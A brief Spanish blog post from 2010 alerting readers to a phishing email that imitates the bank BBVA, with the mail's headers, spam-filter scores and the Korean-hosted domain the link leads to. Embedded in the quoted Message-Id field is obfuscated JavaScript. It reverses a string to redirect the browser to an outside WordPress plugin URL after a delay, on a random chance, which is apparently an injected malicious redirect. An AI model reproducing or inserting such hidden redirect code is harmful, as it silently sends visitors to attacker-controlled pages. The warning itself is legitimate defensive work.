Phishing de hoy contra el BBVA:

Recibimos nuevo phishing del que alertamos para evitar caer en la trampa:

datos del mail recibido:

Message-Id:         <$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:BBVA-SERVICIOS@NOTICIA-BBVA.w.net”>BBVA-SERVICIOS@NOTICIA-BBVA.w.net
Content-Type:         text/html
X-Spam-Status:         No, score=3.8 required=5.0
tests=ALL_TRUSTED,DOMAIN_RATIO,
HTML_90_100,HTML_IMAGE_ONLY_04,HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,
MIME_HEADER_CTYPE_ONLY,MIME_HTML_ONLY,NORMAL_HTTP_TO_IP,NO_REAL_NAME
autolearn=no version=3.0.6
X-Spam-Level:         ***
X-Spam-Checker-Version:         SpamAssassin 3.0.6 (2005-12-07) on edaus.com
X-UIDL:         ]%@”!YB[!!FWH”!m;l!!

El enlace apunta a una direccion URL distinta de la que indica:  http://fcleopard.com/<interceptado>

URL que está hospedada en un servidor de Korea: … :
fcleopard.com. KR Korea, Republic of 11 Seoul-t’ukpyolsi Seoul  37.5664 126.9997 Korea Telecom Korea Telecom
Por supuesto no pulsar en el link que indica el mail en el caso de que se reciba, se trata de un phishing que intenta robar sus claves bancarias…

saludos

ms, 17-5-2010